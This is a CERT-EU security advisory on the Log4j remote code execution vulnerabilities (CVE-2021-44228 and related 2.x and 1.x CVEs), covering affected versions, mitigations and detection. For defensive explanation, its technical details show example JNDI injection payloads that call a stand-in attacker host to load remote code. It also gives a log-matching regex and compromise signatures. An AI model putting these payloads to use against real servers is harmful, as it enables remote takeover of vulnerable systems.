CERT-EU
FOR THE EU INSTITUTIONS, BODIES AND AGENCIES

Security Advisory 2021-067

Java Logging Package RCE Vulnerability

January 29, 2022 — v1.10

TLP:WHITE

History:

- *10/12/2021 — v1.0 – Initial publication*
- *10/12/2021 — v1.1 – Improved detection section*
- *13/12/2021 — v1.2 – Update affected products section and the recommendations*
- *14/12/2021 — v1.3 – Update recommendation section as well as technical details*
- *15/12/2021 — v1.4 – Update recommendation section as well as technical details*
- *17/12/2021 — v1.5 – Add information about CVE-2021-45046*
- *17/12/2021 — v1.6 – Update mitigation section*
- *18/12/2021 — v1.7 – Add information about new CVEs and the new attack surface*
- *23/12/2021 — v1.8 – Update affected versions*
- *30/12/2021 — v1.9 – Add information about CVE-2021-44832*
- *29/01/2022 — v1.10 – Add log4j 1.x vulnerabilities*

Summary

On December 9th, information about a critical unauthenticated RCE vulnerability (**CVE-2021-44228**) that is affecting the well-known Java logging package **Log4j** used by many popular applications and web services [9, 10] was tweeted [1] along with a proof-of-concept (PoC) posted on GitHub [2]. This vulnerability could allow the attacker a full control of the affected server, if a user-controlled string is logged. Since it is easy to be exploited, the impact of this vulnerability is quite severe [3]. **Reports from online users show that this is being actively exploited in the wild!**

Furthermore, an additional vulnerability was subsequently found (**CVE-2021-45046**) impacting also certain non-default configurations of version 2.15.0 and below of Log4j library. On December 17th, the severity rating of the **CVE-2021-45046** vulnerability has changed from 3.7 to 9 out of 10 [13]. Initially described as a Denial-of-Service (DoS), the vulnerability impact assessment has changed and could lead to Remote Code Execution under certain conditions.

A third vulnerability (**CVE-2021-45105**) has been found on December 17th impacting also certain non-default configurations of version 2.16 and below of the Log4j library. This vulnerability, with a severity score of 7.5 out of 10, could lead to additional DoS conditions [13].

Another vulnerability (**CVE-2021-4104**), with a severity score 8.1 out of 10, has been discovered on December 14th [14] affecting a non-default configuration of the version 1.2 of the Log4j library. This vulnerability could lead to remote code execution.

On December 16th, security researchers documented also a new attack vector, using WebSockets, that expends the attack surface for these vulnerabilities [15]. Anyone running a vulnerable version of Log4j library on its machine or in the local network could browse a website and potentially trigger the vulnerability. This includes services running Log4j and listening only on `localhost` port.

On December 28th, new fixes have been released to address the vulnerability `CVE-2021-44832` with a severity score 6.6 out of 10 [13]. This vulnerability could allow an attacker, **with control over the configuration file**, to achieve remote code execution on the server.

Finally, recently, on January 18th 2022, Apache released information about vulnerabilities affecting `log4j` library version 1 [16]. Since Log4j 1 is no longer maintained none of the issues will be fixed.

Technical Details

CVE-2021-44228

When the server logs the data containing the malicious payload (e.g., `${jndi:ldap://attacker[.]com/a}`) in the request (sent by a user via any protocol), the Log4j vulnerability is triggered by this payload and the server makes a request to `attacker.com` via Java Naming and Directory Interface (JNDI).

This response contains a path to a remote Java class file[1], which is injected into the server process. This injected payload triggers a second stage, and allows an attacker to execute arbitrary code [3].

Attackers might also deliver additional malware by leveraging the RCE with a persistent `.jar` file running and listening for incoming special crafted requests[2]. Those requests would trigger the expected functionality that the malicious `.jar` file, which is already running, may offer.

CVE-2021-45046

In certain non-default configurations, the patch introduced in Apache Log4j 2.15.0 is incomplete. When the logging configuration uses a non-default Pattern Layout with a Context Lookup (for example, `$${ctx:loginId}`), attackers with control over Thread Context Map (MDC) input data can craft malicious input data using a JNDI lookup pattern, resulting in an information leak and remote code execution in some environments, and local code execution in all environments [13].

Remote code execution has been demonstrated on macOS, but no other tested environments yet.

CVE-2021-45105

In certain non-default configurations, Apache Log4j2 does not protect from uncontrolled recursion from self-referential lookups. An attacker with control over Thread Context Map (MDC) input data can craft malicious input data that contains a recursive lookup, resulting in a StackOverflowError that will terminate the process, and thus, create denial-of-service conditions [13].

[1] e.g., `http://second-stage.attacker[.]com/Exploit.class`

[2] e.g., `${jndi:ldap://attacker[.]com/Basic/Command/Base64/<Base64_encoded_command>}` [12]

CVE-2021-44832

If attackers obtain write access to the Log4j configuration, they can construct a malicious configuration using a JDBC Appender with a data source referencing a JNDI URI which can execute remote code.

CVE-2021-4104

If attackers obtain write access to the Log4j configuration, they can provide `TopicBindingName` and `TopicConnectionFactoryBindingName` configurations causing JMSAppender to perform JNDI requests that result in remote code execution in a similar fashion to `CVE-2021-44228` [14]. This issue only affects Log4j 1.2 when specifically configured to use JMSAppender, which is not the default. Apache Log4j 1.2 reached end-of-life in August 2015 and **will not be patched**.

CVE-2022-23302

This vulnerability is affecting JMSSink which is present in all versions of Log4j 1.x. This component is vulnerable to deserialisation of untrusted data when the attacker has write access to the Log4j configuration or if the configuration references an LDAP service the attacker has access to. The attacker can provide a `TopicConnectionFactoryBindingName` configuration causing JMSSink to perform JNDI requests that result in remote code execution in a similar fashion to `CVE-2021-4104`. Note this issue only affects Log4j 1.x when specifically configured to use JMSSink, which is **not the default**.

CVE-2022-23305

By design, the JDBCAppender in Log4j 1.2.x accepts an SQL statement as a configuration parameter where the values to be inserted are converters from PatternLayout. The message converter, `%m`, is likely to always be included. This allows attackers to manipulate the SQL by entering crafted strings into input fields or headers of an application that are logged allowing unintended SQL queries to be executed. Note this issue only affects Log4j 1.x when specifically configured to use the JDBCAppender, which is **not the default**.

CVE-2022-23307

`CVE-2022-23307` is a **critical severity** (severity score 10 out of 10) against the chainsaw component in Log4j 1.x. This is the same issue corrected in `CVE-2020-9493` [17] fixed in Chainsaw 2.1.0 but Chainsaw was included as part of Log4j 1.2.x.

Affected Products

CVE-2021-44228 vulnerability affects systems and services that use the Java logging library, Apache Log4j between versions `2.0-beta9` and `2.14.1` are affected by this vulnerability.

CVE-2021-45046 vulnerability affects systems and services that use the Java logging library, for Apache Log4j versions from `2.0-beta9` to `2.15.0`, excluding `2.12.2` (Java 7).

CVE-2021-45105 vulnerability affects systems and services that use the Java logging library, for Apache Log4j versions from `2.0-beta9` to `2.16.0`, excluding `2.3.1` (Java 6) and `2.12.3` (Java 7).

CVE-2021-44832 vulnerability affects systems and services that use the Java logging library, for Apache Log4j versions from `2.0-alpha7` to `2.17.0`, excluding `2.3.2` (Java 6) and `2.12.4` (Java 7).

CVE-2021-4104 vulnerability affects systems and services that use the Java logging library, for Apache Log4j version `1.2`.

CVE-2022-23302 vulnerability affects systems and services that use the Java logging library, for Apache Log4j versions `1.x`.

CVE-2022-23305 vulnerability affects systems and services that use the Java logging library, for Apache Log4j version `1.2`.

CVE-2022-23307 vulnerability affects systems and services that use the Java logging library, for Apache Log4j version `1.2`.

The scope includes many applications and services written in Java.

While the version 1.x of Apache Log4j is not vulnerable in its **default configuration**[3] to `CVE-2021-44228`, `CVE-2021-45046`, `CVE-2021-45105`, `CVE-2021-44832`, `CVE-2022-23302`, and `CVE-2022-23305`, it is no longer maintained and is exposed to other vulnerabilities (such as `CVE-2021-4104`, `CVE-2022-23302`, `CVE-2022-23305`, and `CVE-2022-23307`). Thus, it is not recommended to use this version.

Trusted peers try to maintain a list of all products, services and components that use the vulnerable library as well as their patch availability status [9].

Recommendations

CERT-EU strongly recommends to check all servers for the use of the vulnerable `Log4j` library.

CERT-EU also strongly recommends to upgrade Log4j library to `Log4j-2.17.1` [4] or later. Please keep in mind that this version requires Java 8 or later. When the upgrade is not possible, it is recommended to apply mitigations. It is strongly discourage to use the version 1 of the `log4j` library.

It is advised to use an up-to-date version of Java as it brings restrictions to JDNI calls based on `LDAP` and `RMI`. However, while these restrictions make exploitation more difficult, it is still possible to bypass these restrictions, so the upgrade to unaffected version of `Log4j` library is still required.

If an Internet facing vulnerable application is found, it is strongly recommended to:

[3] The vulnerability only exists if JNDI is enabled in the JMS Appender component, or if JMSSink component is enabled, or if JDBCAppender component is enabled.

- isolate the resource from the rest of the internal network;
- analyse the machine against any persistent compromise.

Scanning

As the `Log4j` library is used by numerous products, the complete scope could be very difficult to define. To help analysts, trusted peers are maintaining a list of tools and scripts that aim at detecting the use of `Log4j` library [10] via external scans, but also directly on the servers. Some of the listed tools also provide mitigation capabilities.

Mitigations

In the previous advisories, it was mentioned to start Java applications with `Log4j2.formatMsgNoLookups` option set to *True* or to modify pattern layout to `%m{nolookups}` instead of `%m`. This mitigation is no longer considered as safe and **should not by applied anymore** [13] (See *Older (discredited) mitigation measures* section of the reference).

Remove the Vulnerable JNDI Class

Another way to mitigate the vulnerability is to remove the affected `JndiLookup` class from the JAR package, as in most environments JNDI lookup feature will not be used. However, this might impact applications and prevent it from running correctly.

To do so, you will need to:

- shutdown running JVM process;
- backup the original JAR archive;
- create the same JAR archive and remove the `org/apache/logging/Log4j/core/lookup/JndiLookup.class` entry;
- restart JVM.

Use Web Application Firewall (WAF) and Intrusion Detection System (IDS)

IDS and Web Application Firewall (WAF) signatures are also available to detect and block most of exploitation attempts [8].

Trusted partners maintain a list of intelligence sources that contains IDS and WAF rules that might be used in order to mitigate risks [11].

*Please note that some attackers are able to **bypass such detection rules** by obfuscating the payload.*

Other Mitigations

CERT-EU also recommends preventing servers from performing outgoing network requests when not needed (or at least whitelist remote endpoints).

Detection

Reverse proxy, WAF and web-server logs

In order to identify exploit attempts, one could look the entries matching the following regex (using `egrep` or `Powershell` for example) [11]:

```
\${(\${(.*?:|.*?:.*?:-)('|"|`)*(?1)}*|[jndi:lapsrm]('|"|`)*}*){9,11}
```

Some attackers successfully obfuscate the payloads to evade such detection, though [6]. Thus, the commands above might not detect the most advanced exploitation attempts.

Application Logs

A presence of the following signatures in the logs is a sign of likely compromise of the application [11]:

```
com.sun.jndi.
com.sun.jndi.dns.DnsContext
com.sun.jndi.ldap.LdapCtx
Error looking up JNDI resource
```

Analyst might want to look in the application logs for the presence of these strings.

Yara Rules

Yara rules are available to scan for the presence of the vulnerable library, but also for potentially compromised machines [8, 18].

Indicators of Compromise

Trusted peers maintain a list of sources that publish Indicators of Compromise that could help analysts identifying vulnerable or compromised assets [7].

References

[1] https://twitter.com/P0rZ9/status/1468949890571337731

[2] https://github.com/tangxiaofeng7/apache-Log4j-poc

[3] https://www.lunasec.io/docs/blog/Log4j-zero-day

[4] https://repo1.maven.org/maven2/org/apache/logging/Log4j/Log4j-core/2.17.0/

[5] https://github.com/apache/logging-Log4j2/pull/608#issuecomment-990494126

[6] https://twitter.com/entropyqueen_/status/1469961345848299520?s=21

[7] https://github.com/NCSC-NL/log4shell/tree/main/iocs

[8] https://twitter.com/ET_Labs/status/1469339963871354884

[9] https://github.com/NCSC-NL/log4shell/tree/main/software

[10] https://github.com/NCSC-NL/log4shell/tree/main/scanning

[11] https://github.com/NCSC-NL/log4shell/tree/main/mitigation

[12] https://blog.talosintelligence.com/2021/12/apache-Log4j-rce-vulnerability.html

[13] https://logging.apache.org/Log4j/2.x/security.html

[14] https://nvd.nist.gov/vuln/detail/CVE-2021-4104

[15] https://www.blumira.com/analysis-log4shell-local-trigger/

[16] https://logging.apache.org/log4j/1.2/

[17] https://lists.apache.org/thread/rx0hpjow5csq05r93cyvntj9ry19tm9y